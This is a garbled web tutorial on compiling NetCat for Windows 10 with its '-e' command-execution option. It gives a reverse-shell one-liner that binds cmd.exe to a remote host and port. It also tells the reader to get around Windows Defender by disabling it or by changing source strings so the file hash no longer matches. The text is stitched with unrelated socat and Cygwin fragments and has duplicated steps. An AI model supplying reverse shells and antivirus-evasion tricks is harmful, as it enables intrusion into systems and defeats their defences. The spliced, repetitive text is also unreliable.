These steps will compile an executable (default: nc.exe) on a Windows 10 machine. This build will enable the “-e” command line option (also known as “GAPING_SECURITY_HOLE”). The “-e” option allows you to pass a command into NetCat; example:
To create a reverse shell:
nc <remote control machine> <remote control port> -e cmd.exe
The caveat for Windows 10 is that Window’s Defender detects nc.exe as being “malware” and deletes it. Therefore beware the git repo we use here does have a compiled version. If you have Windows Defender active this file will likely be deleted. When you compile a new nc.exe it too will likely be deleted.
- Socat.exe - /dev/ttyS15,raw,echo=0,setsid,sane Probably will also work (no tty package then), or just simply specify the dev node of the current terminal (might be tricky without tty package) tty - print the file name of the terminal connected to standard input. My fav links: Using socat for raw serial connection.
- 1 day ago I tried removing the cygwin DLLs in the socat folder in order for socat to hopefully grab the DLLs from the installation folder but that did not work as it seems the names of the DLLs (and their version) are hardcoded. Is there a workaround for this or is socat currently broken on Windows?
Window Defender Workaround
Installing Cygwin Install Cygwin by running setup-x8664.exe Use the setup program to perform a fresh install or to update an existing installation. Keep in mind that individual packages in the distribution are updated separately from the DLL so the Cygwin DLL version is not useful as a general Cygwin. Proxmark3 Installation on Kali; DefCon CtF Quals 2014 writeup – hackertool; Cisco IPSec VPN Client Reason442: Failed to Enable Virtual Adapter; PlaidCTF 2013 – Crypto 250 Compression Writeup; Verizon FiOS and PS3 Media Server Streaming Issues; Socat compilation on Cygwin.
You have two easy options to get around Window Defender.
- Disable Windows Defender while you use netcat or;
- Before you compile edit a source file. There are numerous areas, especially in netcat.c where status messages (such as at line 381) are sent as output to a terminal. If you change the message, then compile, you will change the hash of the file. Windows Defender seems to be largely tied to file hashes.
Let’s Build NetCat
It is useful if you are using an account with elevated permissions.
1) Download the Windows NetCat source code.
2) Download MinGW
2) Download MinGW
3) Configure MinGW
3a) If the MinGW “Installation Manager” does not auto-start after the installation of MinGW has completed run it:
3a) If the MinGW “Installation Manager” does not auto-start after the installation of MinGW has completed run it:
Start>MinGW Installation Manager
4) From the MinGW Installation Manager I needed to select the following plugins:
4a) mingw32-developer-toolkit
4b) mingw32-base
4c) mingw32-gcc-g++
4d) mingw32-gcc-objc
4e) mysys-base
4a) mingw32-developer-toolkit
4b) mingw32-base
4c) mingw32-gcc-g++
4d) mingw32-gcc-objc
4e) mysys-base
5) Apply the selected plugins:
Installation > Apply Changes
6) Make sure your PATH system variable includes a reference to the MinGW DLLs.
6a) The default path is:
6a) The default path is:
C:MinGWbin
6b) Start > Control Panel > Advanced Settings > Environment Variables
6c) Select “Path” from “User variables for [your user name]”.
6d) Select Edit…
6e) Add the path the the DLL folder (default: c:MinGWbin).
6f) Apply Changes / Close Control Panel Windows
6g) Restart Windows
6c) Select “Path” from “User variables for [your user name]”.
6d) Select Edit…
6e) Add the path the the DLL folder (default: c:MinGWbin).
6f) Apply Changes / Close Control Panel Windows
6g) Restart Windows
7) Verify the gcc compiler is includes references to the DLL path.
7a) Open CMD and type:
7a) Open CMD and type:
gcc -print-search-dirs
7b) Amoung other things you should see references to /mingw32/bin
8) Still in CMD navigate to the folder which holds the NetCat source files.
8a) Run makewin.cmd
8b) You may get the following error:
8a) Run makewin.cmd
8b) You may get the following error:
Access is denied.
0 file(s) copied.
Operation Completed
As long as there are no other errors (not talking about warnings) you should be fine. What happens is the default makewin.cmd script attempts to copy the newly complied nc.exe file into your system32 folder (which if you get this error cannot be done because that folder is protected). This error can be ignored as you have the compiled binary in the folder you are currently in.
Install Socat Cygwin
8c) There will be some warnings that look like errors.
Install Socat Ubuntu
You now have a compiled nc.exe which is able to run on Windows 10. You can pass in the -e argument.